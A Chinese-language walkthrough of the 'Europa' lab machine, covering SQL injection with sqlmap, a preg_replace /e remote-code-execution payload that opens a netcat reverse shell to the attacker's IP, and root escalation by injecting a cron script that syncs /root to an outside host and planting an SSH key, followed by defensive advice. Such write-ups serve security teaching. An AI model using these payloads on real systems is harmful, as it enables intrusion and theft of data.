[Meachines] [Medium] Europa SQLI+preg_replace-RCE+D-link文件同步+cronjobs计划任务权限提升
字数 1373 2025-08-29 08:30:06

EuropaCorp 渗透测试实战教学文档

1. 信息收集阶段

1.1 目标识别

  • IP地址: 10.10.10.22
  • 操作系统: Ubuntu Linux (基于SSH和Apache版本信息)
  • 开放端口:
    • 22/tcp: OpenSSH 7.2p2
    • 80/tcp: Apache httpd 2.4.18
    • 443/tcp: Apache httpd 2.4.18 (HTTPS)

1.2 主机发现与端口扫描

ip='10.10.10.22'; 
itf='tun0'; 
if nmap -Pn -sn "$ip" | grep -q "Host is up"; then 
  echo -e "\e[32m[+] Target $ip is up, scanning ports...\e[0m"; 
  ports=$(sudo masscan -p1-65535,U:1-65535 "$ip" --rate=1000 -e "$itf" | awk '/open/ {print $4}' | cut -d '/' -f1 | sort -n | tr '\n' ',' | sed 's/,$//'); 
  if [ -n "$ports" ]; then 
    echo -e "\e[34m[+] Open ports found on $ip: $ports\e[0m"; 
    nmap -Pn -sV -sC -p "$ports" "$ip"; 
  else 
    echo -e "\e[31m[!] No open ports found on $ip.\e[0m"; 
  fi; 
else 
  echo -e "\e[31m[!] Target $ip is unreachable, network is down.\e[0m"; 
fi

1.3 Web应用识别

  • HTTPS证书信息:

    • 域名: europacorp.htb, www.europacorp.htb, admin-portal.europacorp.htb
    • 组织: EuropaCorp Ltd.
    • 位置: Attica, GR (希腊)
  • 添加hosts记录:

echo '10.10.10.22 admin-portal.europacorp.htb europacorp.htb' >> /etc/hosts

2. Web应用渗透

2.1 SQL注入攻击

目标URL: https://admin-portal.europacorp.htb/login.php

使用sqlmap进行自动化SQL注入检测:

sqlmap -r /tmp/sql.txt --force-ssl --batch

提取数据库信息:

sqlmap -r /tmp/sql.txt --force-ssl --batch -D admin -T users --dump

获取的凭据:

+----+-----------------------+--------+----------------------------------+---------------+
| id | email                | active | password                         | username      |
+----+-----------------------+--------+----------------------------------+---------------+
| 1  | admin@europacorp.htb | 1      | 2b6d315337f18617ba18922c0b9597ff | administrator |
| 2  | john@europacorp.htb  | 1      | 2b6d315337f18617ba18922c0b9597ff | john          |
+----+-----------------------+--------+----------------------------------+---------------+

密码破解结果: SuperSecretPassword!

2.2 preg_replace() RCE漏洞利用

漏洞位置: https://admin-portal.europacorp.htb/tools.php

漏洞参数: pattern (正则表达式参数)

攻击载荷:

pattern=%2Fx%2Fe&ipaddress=system("rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fbash%20-i%202%3E%261%7Cnc%2010.10.16.33%20443%20%3E%2Ftmp%2Ff")

这个payload会:

  1. 删除/tmp/f文件(如果存在)
  2. 创建一个命名管道/tmp/f
  3. 通过管道启动一个反向shell连接到攻击者的443端口

3. 初始访问与横向移动

3.1 获取初始shell

使用john的凭据:

  • 用户名: john
  • 密码: iEOERHRiDnwkdnw

获取user flag:

ac3f97350181a4632c3395550968fb9b

4. 权限提升

4.1 利用D-link文件同步和cronjobs

4.1.1 设置攻击机

使用dlink工具建立文件同步服务器:

./dlink server --port 10098 --path /tmp/root &
./dlink server --port 10099 --path /tmp/root --reverse

4.1.2 利用靶机的cronjob

在靶机上注入恶意脚本:

echo -e '#!/bin/bash\n\n/tmp/dlink client --endpoint "10.10.16.33:10098" --path /root & \n/tmp/dlink client --endpoint "10.10.16.33:10099" --path /root --reverse' > /var/www/cmd/logcleared.sh
chmod +x /var/www/cmd/logcleared.sh

4.1.3 添加SSH公钥

在攻击机的/tmp/root目录下创建authorized_keys文件:

echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHW/AdC4GrFM0XNoi5DrRrmUCSfp5EE439+ay1c2JIQq maptnh@maptnh-H4CK13' > /tmp/root/.ssh/authorized_keys

4.2 获取root权限

通过文件同步,靶机的/root目录会被镜像到攻击机的/tmp/root目录,从而获取root权限。

获取root flag:

14fea16f907013662508670e9efc16e5

5. 关键工具与资源

  1. sqlmap: 自动化SQL注入工具
  2. dlink: 文件同步工具 (GitHub: https://github.com/MartinxMax/dlink)
  3. netcat: 建立反向shell
  4. masscan: 快速端口扫描工具
  5. nmap: 详细的端口和服务识别工具

6. 防御建议

  1. SQL注入防护:

    • 使用参数化查询
    • 实施输入验证
    • 使用ORM框架
  2. RCE防护:

    • 避免使用危险的PHP函数如preg_replace()与/e修饰符
    • 更新到最新PHP版本
    • 实施严格的输入过滤
  3. 权限提升防护:

    • 审查所有cronjob脚本
    • 限制cronjob执行权限
    • 监控/root目录的异常修改
  4. 文件同步风险:

    • 禁用或严格限制文件同步服务
    • 实施网络隔离
    • 监控异常的文件传输活动
  5. SSH安全:

    • 禁用root直接登录
    • 使用密钥认证而非密码
    • 实施fail2ban保护
EuropaCorp 渗透测试实战教学文档 1. 信息收集阶段 1.1 目标识别 IP地址: 10.10.10.22 操作系统: Ubuntu Linux (基于SSH和Apache版本信息) 开放端口: 22/tcp: OpenSSH 7.2p2 80/tcp: Apache httpd 2.4.18 443/tcp: Apache httpd 2.4.18 (HTTPS) 1.2 主机发现与端口扫描 1.3 Web应用识别 HTTPS证书信息: 域名: europacorp.htb, www.europacorp.htb, admin-portal.europacorp.htb 组织: EuropaCorp Ltd. 位置: Attica, GR (希腊) 添加hosts记录: 2. Web应用渗透 2.1 SQL注入攻击 目标URL: https://admin-portal.europacorp.htb/login.php 使用sqlmap进行自动化SQL注入检测: 提取数据库信息: 获取的凭据: 密码破解结果: SuperSecretPassword! 2.2 preg_ replace() RCE漏洞利用 漏洞位置: https://admin-portal.europacorp.htb/tools.php 漏洞参数: pattern (正则表达式参数) 攻击载荷: 这个payload会: 删除/tmp/f文件(如果存在) 创建一个命名管道/tmp/f 通过管道启动一个反向shell连接到攻击者的443端口 3. 初始访问与横向移动 3.1 获取初始shell 使用john的凭据: 用户名: john 密码: iEOERHRiDnwkdnw 获取user flag: 4. 权限提升 4.1 利用D-link文件同步和cronjobs 4.1.1 设置攻击机 使用dlink工具建立文件同步服务器: 4.1.2 利用靶机的cronjob 在靶机上注入恶意脚本: 4.1.3 添加SSH公钥 在攻击机的/tmp/root目录下创建authorized_ keys文件: 4.2 获取root权限 通过文件同步,靶机的/root目录会被镜像到攻击机的/tmp/root目录,从而获取root权限。 获取root flag: 5. 关键工具与资源 sqlmap : 自动化SQL注入工具 dlink : 文件同步工具 (GitHub: https://github.com/MartinxMax/dlink) netcat : 建立反向shell masscan : 快速端口扫描工具 nmap : 详细的端口和服务识别工具 6. 防御建议 SQL注入防护 : 使用参数化查询 实施输入验证 使用ORM框架 RCE防护 : 避免使用危险的PHP函数如preg_ replace()与/e修饰符 更新到最新PHP版本 实施严格的输入过滤 权限提升防护 : 审查所有cronjob脚本 限制cronjob执行权限 监控/root目录的异常修改 文件同步风险 : 禁用或严格限制文件同步服务 实施网络隔离 监控异常的文件传输活动 SSH安全 : 禁用root直接登录 使用密钥认证而非密码 实施fail2ban保护